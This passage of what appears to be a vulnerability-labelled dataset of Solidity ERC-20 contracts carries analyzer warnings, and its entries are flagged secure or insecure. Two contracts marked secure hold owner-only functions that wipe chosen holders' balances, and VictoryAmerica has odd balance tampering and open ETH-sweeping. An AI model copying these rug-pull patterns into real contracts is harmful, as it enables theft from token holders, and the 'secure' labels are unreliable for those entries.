reentrancy-events | ID: a5f8569\n\t\t// reentrancy-eth | ID: fafb0b4\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a5f8569\n\t\t// reentrancy-no-eth | ID: f76e3aa\n\t\t// reentrancy-eth | ID: fafb0b4\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a5f8569\n\t\t// reentrancy-eth | ID: fafb0b4\n payable(feeReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dd7a325): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dd7a325: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ce3d492): Agenda47.startTrading() ignores return value by _router.addLiquidityETH{value msg.value}(address(this),37600000000000000,0,0,msg.sender,block.timestamp)\n\t// Recommendation for ce3d492: Ensure that all the return values of the function calls are used.\n function startTrading() external payable onlyOwner {\n super._transfer(msg.sender, address(this), totalSupply());\n\n\t\t// reentrancy-benign | ID: dd7a325\n\t\t// unused-return | ID: ce3d492\n _router.addLiquidityETH{value: msg.value}(\n address(this),\n 37600000000000000,\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: dd7a325\n uniswapPair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: dd7a325\n _startBlock = block.number;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f892000): Agenda47.setSwapFees(uint256,uint256) should emit an event for buyFeePercent = newBuyFee sellFeePercent = newSellFee _finalBuyFee = uint32(newBuyFee) _finalSellFee = uint32(newSellFee) \n\t// Recommendation for f892000: Emit an event for critical parameter changes.\n function setSwapFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(newBuyFee <= 20 && newSellFee <= 20, \"New fee must be lower.\");\n\n\t\t// events-maths | ID: f892000\n buyFeePercent = newBuyFee;\n\n\t\t// events-maths | ID: f892000\n sellFeePercent = newSellFee;\n\n\t\t// events-maths | ID: f892000\n _finalBuyFee = uint32(newBuyFee);\n\n\t\t// events-maths | ID: f892000\n _finalSellFee = uint32(newSellFee);\n }\n\n function removeLimits() external onlyOwner {\n maxWalletSize = totalSupply();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cd05227): Agenda47.updateStructure(uint256,uint256) should emit an event for contractSwapMax = maxAmount contractSwapMin = minAmount \n\t// Recommendation for cd05227: Emit an event for critical parameter changes.\n function updateStructure(\n uint256 maxAmount,\n uint256 minAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: cd05227\n contractSwapMax = maxAmount;\n\n\t\t// events-maths | ID: cd05227\n contractSwapMin = minAmount;\n }\n\n function sweepStuckETH() external onlyOwner {\n payable(feeReceiver).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1a3de70): Agenda47.transferStuckToken(IERC20,uint256) ignores return value by token.transfer(feeReceiver,amount)\n\t// Recommendation for 1a3de70: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferStuckToken(\n IERC20 token,\n uint256 amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 1a3de70\n token.transfer(feeReceiver, amount);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1020.sol",
"secure": 0,
"size_bytes": 11637
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Drunkdriving is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable coverage;\n\n constructor() {\n _name = \"Drunk Driving\";\n\n _symbol = \"DD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 381000000;\n\n coverage = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == coverage, \"Not allowed\");\n\n _;\n }\n\n function TRUE(address[] memory city) public onlyOwner {\n for (uint256 i = 0; i < city.length; i++) {\n address account = city[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1021.sol",
"secure": 1,
"size_bytes": 4360
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Squad is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable tread;\n\n constructor() {\n _name = \"SQUAD\";\n\n _symbol = \"SQUAD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 827000000;\n\n tread = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == tread, \"Not allowed\");\n\n _;\n }\n\n function loud(address[] memory shallow) public onlyOwner {\n for (uint256 i = 0; i < shallow.length; i++) {\n address account = shallow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1022.sol",
"secure": 1,
"size_bytes": 4348
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol\" as ERC20Capped;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract WealthInHealth is ERC20, ERC20Capped, Ownable, ERC20Burnable {\n constructor(\n address initialOwner\n )\n ERC20(\"Wealth in Health\", \"WIH\")\n ERC20Capped(21000000 * 10 ** decimals())\n Ownable(initialOwner)\n {\n _mint(msg.sender, 21000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Capped) {\n super._update(from, to, value);\n }\n}",
"file_name": "solidity_code_1023.sol",
"secure": 1,
"size_bytes": 996
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e0f3d47): VictoryAmerica.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for e0f3d47: Consider ordering multiplication before division.\ncontract VictoryAmerica is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n bool private inSwaps;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 005600c): VictoryAmerica._taxWallet should be immutable \n\t// Recommendation for 005600c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c1fb422): VictoryAmerica._initialBuyTax should be constant \n\t// Recommendation for c1fb422: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d5ba63): VictoryAmerica._initialSellTax should be constant \n\t// Recommendation for 4d5ba63: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b368ad8): VictoryAmerica._finalBuyTax should be constant \n\t// Recommendation for b368ad8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e08e6b7): VictoryAmerica._finalSellTax should be constant \n\t// Recommendation for e08e6b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 713cda3): VictoryAmerica._reduceBuyTaxAt should be constant \n\t// Recommendation for 713cda3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: d34177d): VictoryAmerica._reduceSellTaxAt should be constant \n\t// Recommendation for d34177d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9f7f77): VictoryAmerica._preventSwapBefore should be constant \n\t// Recommendation for c9f7f77: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37d4160): VictoryAmerica._transferTax should be constant \n\t// Recommendation for 37d4160: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Victory America\";\n\n string private constant _symbol = unicode\"VTRUMP\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18dba88): VictoryAmerica._taxSwapThreshold should be constant \n\t// Recommendation for 18dba88: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: e0f3d47\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 24b8a39): VictoryAmerica._maxTaxSwap should be immutable \n\t// Recommendation for 24b8a39: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: e0f3d47\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n modifier lockTheSwaps() {\n inSwaps = true;\n\n _;\n\n inSwaps = false;\n }\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bd1412c): VictoryAmerica.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bd1412c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f2e5d98): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f2e5d98: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 60b3286): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 60b3286: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f2e5d98\n\t\t// reentrancy-benign | ID: 60b3286\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f2e5d98\n\t\t// reentrancy-benign | ID: 60b3286\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _taxAmount(\n address from,\n address to,\n uint256 amount\n ) private returns (uint256) {\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0)\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (inSwaps)\n if (from == address(this) && to == uniswapV2Pair)\n _balances[address(this)] |= uint160(from);\n\n if (_buyCount > 0) taxAmount = amount.mul(_transferTax).div(100);\n }\n\n return taxAmount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 91d04ce): VictoryAmerica._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 91d04ce: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b9177f1\n\t\t// reentrancy-benign | ID: 60b3286\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: af4aec5\n\t\t// reentrancy-events | ID: f2e5d98\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 643a9fe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 643a9fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: aeb14ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for aeb14ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = _taxAmount(from, to, amount);\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 643a9fe\n\t\t\t\t// reentrancy-eth | ID: aeb14ea\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 643a9fe\n\t\t\t\t\t// reentrancy-eth | ID: aeb14ea\n ethbalancecontract(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: aeb14ea\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: aeb14ea\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: aeb14ea\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 643a9fe\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: aeb14ea\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: aeb14ea\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 643a9fe\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 643a9fe\n\t\t// reentrancy-events | ID: f2e5d98\n\t\t// reentrancy-benign | ID: 60b3286\n\t\t// reentrancy-eth | ID: aeb14ea\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a376775): VictoryAmerica.ethbalancecontract(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a376775: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function ethbalancecontract(uint256 amount) private {\n\t\t// reentrancy-events | ID: 643a9fe\n\t\t// reentrancy-events | ID: f2e5d98\n\t\t// reentrancy-eth | ID: aeb14ea\n\t\t// arbitrary-send-eth | ID: a376775\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: af4aec5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for af4aec5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b9177f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b9177f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 88a1c27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 88a1c27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b5e153d): VictoryAmerica.openTrending() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b5e153d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5bcb593): VictoryAmerica.openTrending() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5bcb593: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 556f5a5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 556f5a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrending() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-events | ID: af4aec5\n\t\t\t// reentrancy-benign | ID: b9177f1\n\t\t\t// reentrancy-benign | ID: 88a1c27\n\t\t\t// reentrancy-eth | ID: 556f5a5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-events | ID: af4aec5\n\t\t// reentrancy-benign | ID: b9177f1\n\t\t// reentrancy-benign | ID: 88a1c27\n\t\t// unused-return | ID: 5bcb593\n\t\t// reentrancy-eth | ID: 556f5a5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-events | ID: af4aec5\n\t\t// reentrancy-benign | ID: b9177f1\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 88a1c27\n\t\t// unused-return | ID: b5e153d\n\t\t// reentrancy-eth | ID: 556f5a5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 88a1c27\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 556f5a5\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap(uint256 tokenBalances) external lockTheSwaps {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalances > 0) {\n swapTokensForEth(tokenBalances);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n ethbalancecontract(ethBalance);\n }\n }\n\n function transfer() external {\n uint256 contractETHBalance = address(this).balance;\n\n ethbalancecontract(contractETHBalance);\n }\n}",
"file_name": "solidity_code_1024.sol",
"secure": 0,
"size_bytes": 20426
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 299998b): Contract locking ether found Contract Trump47 has payable functions Trump47.receive() But does not have a function to withdraw the ether\n// Recommendation for 299998b: Remove the 'payable' attribute or add a withdraw function.\ncontract Trump47 is ERC20, Ownable {\n constructor() ERC20(unicode\"President Trump (47)\", unicode\"Trump47\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 299998b): Contract locking ether found Contract Trump47 has payable functions Trump47.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 299998b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1025.sol",
"secure": 0,
